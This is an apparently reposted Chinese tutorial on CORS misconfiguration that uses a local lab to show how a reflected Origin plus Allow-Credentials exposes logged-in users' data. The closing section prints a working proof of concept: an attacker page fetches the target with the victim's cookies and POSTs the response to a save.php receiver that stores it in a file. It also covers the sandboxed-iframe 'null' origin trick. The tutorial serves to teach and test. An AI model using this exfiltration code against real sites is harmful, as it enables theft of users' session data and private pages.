CORS跨域資源共享漏洞初探


介紹

跨域資源共享(CORS) 是一種機制,它使用額外的 HTTP 頭來告訴瀏覽器  讓運行在一個 origin (domain) 上的Web應用被准許訪問來自不同源服務器上的指定的資源。當一個資源從與該資源本身所在的服務器不同的域、協議或端口請求一個資源時,資源會發起一個跨域 HTTP 請求。
比如,站點 http://domain-a.com 的某 HTML 頁面通過<img>的src請求 http://domain-b.com/image.jpg 網絡上的許多頁面都會加載來自不同域的CSS樣式表,圖像和腳本等資源。
出於安全原因,瀏覽器限制從腳本內發起的跨源HTTP請求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 這意味着使用這些API的Web應用程序只能從加載應用程序的同一個域請求HTTP資源,除非響應報文包含了正確CORS響應頭。(譯者注:這段描述不准確,並不一定是瀏覽器限制了發起跨站請求,也可能是跨站請求可以正常發起,但是返回結果被瀏覽器攔截了。)

跨域資源共享( CORS )機制允許 Web 應用服務器進行跨域訪問控制,從而使跨域數據傳輸得以安全進行。現代瀏覽器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch )使用 CORS,以降低跨域 HTTP 請求所帶來的風險。

實踐

www.x.com/cors.html 測試頁面

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {    
    invocation.open('GET', url, true);
    // invocation.onreadystatechange =;
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>

127.0.0.1/remember/CORS.php 服務端

<?php
setcookie("user","userpassword",null,null,null,null,null);

打開www.x.com/cors.html頁面會對127.0.0.1發出Ajax請求,Ajax請求默認不同域會被瀏覽器同源策略攔截返回數據

<?php
header("Access-Control-Allow-Origin: *"); //設置該頭表示允許訪問的地址 *為無限制
setcookie("user","userpassword",null,null,null,null,null);

當設置了CORS頭為*后可以發現瀏覽器放行了數據,並沒有攔截

header("Access-Control-Allow-Origin:http://foo.example");//聲明指定域名可以跨域訪問

現在,除了 http://foo.example,其它外域均不能訪問該資源

因為域名不匹配而被攔截返回數據
現在出現了一個神奇的事情
我們將www.x.com/remember/cors.html這樣構造

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {
    invocation.onreadystatechange=function(){
      if(this.readyState==4&&this.status==200){
      alert(this.responseText);//彈出返回數據
      }
    };
    invocation.onerror = function(){
      alert("跨域請求失敗");
    }
    invocation.open('GET', url, true);
    invocation.withCredentials=true;//訪問時帶上cookie(誰的cookie??)
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>

而服務端這樣構造

<?php
header("Access-Control-Allow-Origin:http://www.x.com");//告訴瀏覽器允許跨越接收來自www.x.com請求后返回數據
header("Access-Control-Allow-Credentials:true");//告訴瀏覽器允許跨越接收cookIe
if(!$_COOKIE){//判斷cookie是否存在
    setcookie("user","hxy520",null,null,null,null,null);
    setcookie("password","lovelovery",null,null,null,null,1);//設置httponly cookie
}
print_r($_COOKIE);//輸出cookie
?>

先來看下兩個頁面的cookie

127.0.0.1的cookie為空

www.x.com也為空
如果在未訪問127.0.0.1/remember/cors.php(服務端)的情況下訪問www.x.com/remember/cors.html

可以看到第一次訪問cookie為空,服務端返回Set-Cookie,瀏覽器准備存儲cookie,猜一猜cookie會存哪里?

www.x.com未存儲cookie

cookie被存儲在了未訪問過的127.0.0.1中(實際上已經通過Ajax訪問過了)
再次訪問www.x.com

這次的請求頭帶上了127.0.0.1的cookie 服務端正確讀取並顯示,(注意跟服務端的Access-Control-Allow-Credentials頭的設置有關)
這時將Access-Control-Allow-Credentials:true設置為false


這次訪問還是帶上了cookie

響應頁面正常響應

數據被瀏覽器同源策略阻止
這時我們來修改下127.0.0.1頁面存儲的cookie(記得打開服務端發送cookie)



可以看到www.x.com彈出了修改后的cookie

總結

由此得出結論,如果服務端

header("Access-Control-Allow-Origin:{$_SERVER['HTTP_ORIGIN']}");
header("Access-Control-Allow-Credentials:true");//允許發送cookIe

這兩項配置為$_SERVER'HTTP_ORIGIN'和true時,在任何外域發起的Ajax請求都將會帶上該頁面的cookie,什么意思?
就是說如果你登錄了QQ空間,如果QQ空間的CORS配置不正確,那么我們就可以在任何一個域(惡意構造頁面)中發起一個Ajax請求同時將withCredentials設置為True來請求QQ空間。這樣當你訪問惡意構造的頁面時,惡意構造的頁面將會發送一個Ajax請求到QQ空間並帶上你的QQ空間cookie,而返回的數據正是帶cookie訪問的QQ空間的HTML源碼!這個數據對於惡意構造頁面的攻擊者來說完全是可操作的,比如拿到這個數據后再發生一個AjaxPOST請求到攻擊者搭建的數據接收頁面
譬如這樣構造

<html>
<head></head>
<body>
</body>
<script>
var invocation = new XMLHttpRequest();
var invocation2 = new XMLHttpRequest();
var url = 'http://127.0.0.1/remember/CORS.php';
function callOtherDomain() {
  if(invocation) {
    invocation.onreadystatechange=function(){
      if(invocation.readyState==4&&invocation.status==200){
      var datas=invocation.responseText
      alert(datas);//彈出返回數據
      invocation2.open("POST","http://www.x.com/remember/save.php",true);//二次發送數據到接收頁面
      invocation2.setRequestHeader("Content-type","application/x-www-form-urlencoded");//規定頭
      invocation2.send("secrect="+escape(datas));//發送數據
      }
    };
    invocation.onerror = function(){
      alert("跨域請求失敗");
    }
    invocation.open('GET', url, true);
    invocation.withCredentials=true;//訪問時帶上cookie
    invocation.send(); 
  }
}
callOtherDomain();
</script>
</html>
save.php
<?php
$file = fopen("secrect.txt", "w+") or die("Error opening!");
$datas = $_POST['secrect'];
fwrite($file, $datas);
fclose($file);
?>

來測試下
模擬受害者訪問www.x.com

cookie被發送

coo被save.php接收保存

cookie被保存 信息被泄露 實際環境保存的可能就是登錄后的某站頁面了,
引用CSRF原理 好像和這個一樣啊。。。 
CSRF不能讀取用戶敏感數據,而CORS可以
CORS的規范中還提到了“NULL”源。觸發這個源是為了網頁跳轉或者是來自本地HTML文件。
目標應用可能會接收“null"源,並且這個可能被測試者(或者攻擊者)利用,任何網站很容易使用沙盒iframe來獲取”null“源

CORS與CSRF的區別

相同點

  • 都要借助第三方網站
  • 都要借助ajax的異步過程
  • 一般都需要用戶登錄
    不同點
  • 第三方網站可以利用CORS漏洞讀取到受害者的敏感信息
  • 第三方網站可以利用CSRF漏洞替受害者完成諸如轉賬等敏感操作
  • 一般有CORS漏洞的地方都有CSRF漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM